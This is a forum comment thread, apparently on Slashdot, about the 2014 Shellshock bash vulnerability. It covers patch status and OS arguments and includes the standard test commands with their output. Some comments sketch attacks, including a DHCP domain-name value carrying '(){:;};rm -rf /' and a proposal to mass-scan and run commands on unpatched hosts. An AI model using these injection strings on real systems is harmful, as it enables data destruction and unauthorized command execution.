      And right now, there are already 560 invisible users connected there... and it grows at quite a pace. The flaw is definitely being exploited in the wild.

  63. at least I'm safe ........ by ratsg · · Score: 1

    At least I'm safe with all my servers on C Shell. Thank you Bill Joy!

  64. Re:I love it. by Anonymous Coward · · Score: 0

    On Linux we have bugs.

    Yes some quite serious and critical security ones, and Windows and OSX have those too, I'm not sure why you're trying to separate things to make one OS look better than the others.

    On Windows you still have rampant malware that's taking your data hostage.

    That's on any system, Windows is a larger target and thus malware is written for it. Linux and OSX are not inherently more secure in this respect, they are more secure by their obscurity and nothing more. If the user heeds to a request to install software and run as root then the operating system does not matter.

    Despite Lemming attempts to conflate every software bug with a Windows virus that does actual damage, it simply isn't so.

    And then there's lemmings like you that parrot the idiocy of security through obscurity and dismiss critical security defects as "it's just a bug that doesn't to real damage". You show a lack of intelligence or intentional malice.

    The strong technical merits are still there. Windows is still a festering cesspit. Legacy apps remain the only real reason to run WinDOS.

    The technical merits of an operating system don't mean anything because nobody cares about the operating system except geeks, people want to do things with their computers which means that how good an operating system is depends on whether it can accomplish that user's tasks i.e. run their applications. On the desktop from this perspective Windows and OSX are very good and Linux distros are very poor. You can spin it all you want and parade "technical merit" but to the vast majority of people wanting a desktop computer - those that aren't just sending email and browsing the web - Linux is terrible. Of course on a server it is brilliant, however bugs like this bash vulnerability (and who knows how many more exist and are being exploited, yes the sam applies to Windows and OSX too) bring the security aspect into question, though I'm sure you'll try and sweep that one under the rug too.

  65. Re:I love it. by Anonymous Coward · · Score: 0

    Yes, Windows 8 has definitely demonstrated awesome superiority and everyone loves it.

    Well frankly it has a lot more marketshare than Linux, so people certainly prefer it.

  66. Re:Briefing for management - reuse with attributio by Culture20 · · Score: 1

    However, I don't see this as being a major exploit for Macs (which run Web servers very rarely)

    But they do. And worse, they're usually MAMP, which rarely gets updated, and there's a culture of not updating with both Apple and its userbase. I'd be surprised if Apple has a fix for this yet, and they won't provide one for older machines. Not that the users will want to update anyway...

  67. Seems to be fixed for me(?) by Anonymous Coward · · Score: 0

    [T]he initial fix for the issue still left Bash vulnerable to attack

    Please excuse me if I'm being a noob but, as recommended by this link, I tried the following commands on an up-to-date Debian Wheezy install:
     

    env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
    env X="() { :;} ; echo busted" `which bash` -c "echo completed"

    ...and the results were:
     

    me@myserver:~$ env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
    /bin/sh: warning: X: ignoring function definition attempt /bin/sh: error importing function definition for `X'
    completed
    me@myserver:~$ env X="() { :;} ; echo busted" `which bash` -c "echo completed"
    /bin/bash: warning: X: ignoring function definition attempt /bin/bash: error importing function definition for `X'
    completed

    So isn't the solution just an 'apt-get upgrade' away?

    And FWIW:

    me@myserver:~$ echo $0
    -bash
    me@myserver:~$ bash --version
    GNU bash, version 4.2.37(1)-release (i486-pc-linux-gnu)
    Copyright (C) 2011 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later

    This is free software; you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.

    1. Re:Seems to be fixed for me(?) by Psychotria · · Score: 1

      Umm, isn't that showing that you are (potentially) vulnerable? I.e. the "echo completed" is being executed. Change that to some other arbitrary shell command, e.g. ls -al

    2. Re:Seems to be fixed for me(?) by Lord_Jeremy · · Score: 1

      Debian doesn't use bash as the system shell, it uses dash (which isn't vulnerable to the attack). The output from your test commands indicates that your system shell was ignoring the malformed environment variable definitions that are the very source of the problem on vulnerable systems.

    3. Re:Seems to be fixed for me(?) by bakes · · Score: 1

      Not quite - the 'X= ... echo busted' part is the bit that exploits the vulnerability, and that is being blocked/ignored.

      --
      Ho! Haha! Guard! Turn! Parry! Dodge! Spin! Ha! Thrust!
    4. Re:Seems to be fixed for me(?) by rHBa · · Score: 1

      Correct me if I'm wrong but doesn't the 'echo $0' indicate I'm logged into a bash shell? And the 'bash --version' shows the version of bash that's installed?

    5. Re:Seems to be fixed for me(?) by Psychotria · · Score: 1

      Ah.. thanks

  68. Seems to be fixed for me(?) by rHBa · · Score: 1

    [T]he initial fix for the issue still left Bash vulnerable to attack

    Please excuse me if I'm being a noob but, as recommended by this link, I tried the following commands on an up-to-date Debian Wheezy install:

    env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
    env X="() { :;} ; echo busted" `which bash` -c "echo completed"

    ...and the results were:

    me@myserver:~$ env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
    /bin/sh: warning: X: ignoring function definition attempt
    /bin/sh: error importing function definition for `X'
    completed
    me@myserver:~$ env X="() { :;} ; echo busted" `which bash` -c "echo completed"
    /bin/bash: warning: X: ignoring function definition attempt
    /bin/bash: error importing function definition for `X'
    completed

    So isn't the solution just an 'apt-get upgrade' away?

    And FWIW:

    me@myserver:~$ echo $0
    -bash
    me@myserver:~$ bash --version
    GNU bash, version 4.2.37(1)-release (i486-pc-linux-gnu)
    ...

    FYI, I accidentally posted this AC at first so am re-posting, hope nobody minds...

  69. Debian Jessie has been updated as of today, 9/25 by rstanley · · Score: 1

    I updated two of my systems, and yes, I ran the test. I don't know about the unstable version.

  70. Re:So flog the bash developer who checked this in. by spitzak · · Score: 1

    Apparently it also concatenates the -c argument and parses the whole thing at once. Unbelievable.

    This is the still-existing exploit. Try this in the patched version (or the one for that matter):

        env X='() { (a)=>\' bash -c "file echo vulnerable; cat file"

    My guess is because it pasted the -c onto the end of the command with a newline. The >\ somehow caused a > sign and an escaped newline to be parsed, resulting in the command ">file echo vulnerable" to be executed.

    This looks a lot harder to exploit as there is less control over the -c argument, and it has to be the last environment variable.

  71. Use the bug to patch the bug by itamblyn · · Score: 1

    If shellshock lets remote users execute arbitrary shell commands, should we just run a scan of the whole internet (https://github.com/robertdavidgraham/masscan), and issue apt-get update & apt-get upgrade? Use the bug to patch the bug?

  72. CVE-2014-7169 has been fixed by InvisibleSoul · · Score: 1

    At least for RedHat/CentOS, CVE-2014-7169 has been patched now as well. https://rhn.redhat.com/errata/...

  73. Re:I love it. by Barsteward · · Score: 1

    "So I'm sure both of the guys doing that are really shitting their pants now, lolzers." i bet they've been shitting themselves since they've been running windows. only now just a little more than normal

    --
    "The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
  74. Re:I love it. by Anonymous Coward · · Score: 0

    Nah, funny thing is you neckbeards don't really know how well the Windows Server/IIS/MS SQL holy trinity works. It works very, very well.

  75. /bin/sh means Bourne compatibility by Anonymous Coward · · Score: 0

    For all those people saying system() and popen() calls are a problem the truth is they use /bin/sh -c and even when this is a symlink to bash, it operates in compatibility mode and does NOT import function definitions. Still it's pretty close.

    1. Re:/bin/sh means Bourne compatibility by pepa65 · · Score: 1

      THIS! Can this be modded up?? (On the other hand, systems are getting hacked, so just using bash works...)
      Also, it needs reiterating that all those Androids and routers commonly don't have any bash on board.

  76. Re:I love it. by Anonymous Coward · · Score: 0

    Name three things wrong specifically with Windows 8 (8.1 now) which aren't about the GUI. If you can't manage that, include problems that aren't fixed with the installation of a free Start menu replacement
     

  77. Re:Briefing for management - reuse with attributio by phayes · · Score: 1

    No. In recent versions of IOS, Macs do not run local web servers. People have to add in a web server by themselves & very few do so. In your little corner of the world (assuming you do web development or some such), people may add a web server (through macPorts or the Server Application) but there is no web server in a normal recent OSX installation. Yeah, there is the niche of MacMinis that people use as servers where this is not true, but they are the tiny minority. Most Macs sold today are either Airs or MacBooks & very few people want to have a local web server or "other advanced unix services"* on them.

    As for your comment on their being "rarely updated", that's rich given the antiquated, nay archaic RHEL servers often I see in datacenters on things like Cisco VOIP gear.

    The people geeky enough to be aware of the attack so far are also probably aware of how to update bash all by themselves. Everyone else will be able to get the update shortly when Apple publishes a fix.

    * As labeled by an Apple spokesperson.

    --
    Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
  78. Idea by DrYak · · Score: 2

    I'm not the original poster, but my idea goes like this:

    - very often, when a laptop gets an IP from DHCP, it will launch a collection of helper scripts (that will in turn set-up lots of other thing. Random example: firewalling rules for the new interface)
    - check which fields emitted by a DHCP server will end up in an environment variable during the call of these helper scripts.
    Very obvisouly, the IP address will be in an environment variable, but that's not going to work because you can't put arbitrary data in there.
    What else? Assigned network name? Some other data field?

    Some of these data could have arbitrary form.
    So you set it to "(){:;};rm -rf /".
    Even before the helper script has had time to receive the data and do the necessary sanity check on it, bash will interpret the whole content (because it begins with () ) including the rm.

    Any piece of software that:
    - at some point of time runs helper shell scripts
    - can receive arbitrary data that is placed in ENV variable while calling the scripts
    is at risk.

    Because BASH itself forgot to do its own input sanitation. (it should only load the function definition. It should not blindy eval any ENV variable beginin with (), it should only interpret the curly craces right after the () and stop once the body of the function is finished. Not call anything else).

    That a REALLY nasty exploit.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
    1. Re:Idea by ebvwfbw · · Score: 1

      ...
      So you set it to "(){:;};rm -rf /".
      Even before the helper script has had time to receive the data and do the necessary sanity check on it, bash will interpret the whole content (because it begins with () ) including the rm.

      Wish people would try stuff before talking about it. If you try to run any binary you will get a segmentation violation. I know, I tried. Before you point out libraries paths and crap, that doesn't work either. We tried that as well. You're limited to shell stuff only. I.e. echo for example but not /usr/bin/echo. However if you know what you are doing echo is plenty powerful.

  79. Updated by kilodelta · · Score: 1

    My work Unbuntu laptop to BASH IV this morning. I'll do my personal Ubuntu box later tonight,.

  80. Re:I love it. by kilodelta · · Score: 1

    Not all of us love Win 8 - 8.1 and 9 will be better. In fact I'm moving away from Windows in general. For example, how long does it take Microsoft to patch a major vulnerability? In the linux world it took a day.

  81. Re:So flog the bash developer who checked this in. by torsmo · · Score: 1
    There was a patch released by Red Hat a few hours ago, and I recompiled bash with it. It seems the above issue has been fixed. This is the output I get now:

    user@host:~$ env X='() { (a)=>\' bash -c "file echo vulnerable; cat file"

    bash: X: line 1: syntax error near unexpected token `='
    bash: X: line 1: `'
    bash: error importing function definition for `X'
    echo: ERROR: cannot open `echo' (No such file or directory)
    vulnerable: ERROR: cannot open `vulnerable' (No such file or directory)
    cat: file: No such file or directory

  82. Re: I love it. by Anonymous Coward · · Score: 0

    well it's quite obvious your not sure how they work either. if you read this site then you ARE apart of the neck beard community.

  83. It is a feature by bussdriver · · Score: 1

    It is my understanding this is a feature of BASH and simply patching it would break scripts that use the feature. not an easy fix.

    I still do perl. for as long as I can remember, perl people have heavily been pushing for proper use of system() which supports (in perl) a safe way to use it by giving it a list of arguments instead of a single string argument. Not that this method completely protects you this bash injection attack. I admit that these days I use the default shell when I do call a shell and in the past I picked a specific shell (not bash) just because I didn't want to load a huge shell like bash just to run 1 command.

    We don't put SQL commands directly into CGI or DHCP with some unauthenticated shell program to interpret them! You wrap and protect the SQL, as you should always do with the shell or anything even remotely similar! This seems basic... although I didn't know about this uncommon bash-specific injection method-- but the other shells have well known injection attacks as well which are well known and avoided (or they should be... but probably also common just like SQL which is why people seem to easily hack any webserver.)

    My guess is bash will add or ALREADY has a flag related to this feature which will have to be used; the default will likely change to having the feature off.

    My DHCP doesn't run as root but I read that linux does! luckily any linux I touch has a static IP (so now the question is will it respond to DHCP even if it doesn't need it... because some have the DHCP client running even though a static IP has been set...)

  84. Re:Briefing for management - reuse with attributio by Culture20 · · Score: 1

    No. In recent versions of IOS, Macs do not run local web servers.

    Sure they do.

    People have to add in a web server by themselves

    Oh, you mean by default. Sure, it doesn't run by default, but see below. Now, these 3rd party web servers that people install. Let me guess what one of the most popular might be (due to ease of install). MAMP? They'd be better off using the httpd provided in the OS from Apple since that *might* get updated by Apple (but people tend to ignore running updates).

    & very few do so.

    I think you'd be surprised.

    (assuming you do web development or some such)

    Not since 1995, and if I did I wouldn't do it on OSX. *shiver*

    there is no web server in a normal recent OSX installation.

    I think you might be wrong. I'm looking at a Mavericks install in front of me. Only thing installed other than the base OS is ARD. /usr/sbin/httpd is there, and when run it attaches to port 80.

  85. Addendum by DrYak · · Score: 1

    check which fields emitted by a DHCP server will end up in an environment variable during the call of these helper scripts.

    Found elsewhere:
    NetworkManager, when calling dhcp trigger scripts fills these two variable:
    DHCP4_FILENAME and DHCP4_DOMAIN_NAME
    based on data received by the DHCP ACK.

    So if a sever sets the domain name as "(){:;};rm -rf /", the laptop will be fried before even the script has a chance to check if that's actually a valid domain name.

    (That's a bit like if an SQL injection could fry a server, because the php5 interpreter itself gets hijacked by it, before the php page had time to check and sanitize the inputs)

    Though in the DHCP case, the DHCP client it self could do some preliminary input sanitization before handling the data out.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  86. Re:Briefing for management - reuse with attributio by Anonymous Coward · · Score: 0

    bsd is unix.
    bsd is not vulnerable.

  87. Re:Briefing for management - reuse with attributio by phayes · · Score: 1

    there is no web server in a normal recent OSX installation.

    I think you might be wrong. I'm looking at a Mavericks install in front of me. Only thing installed other than the base OS is ARD. /usr/sbin/httpd is there, and when run it attaches to port 80.

    Delivering the binary on a default OSX installation doesn't make shellshock exploitable on OSX systems, it needs to be running, which it isn't on the vast majority of OSX systems. I've bolded the part of your own post where you admit that this isn't the case. Yeah, I had a brain fart and forgot to type "running" in "there is no web server", it doesn't change my point: No running web server on the vast majority of OSX devices means that shellshock isn't as severe for Macs as some have been saying.

    --
    Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue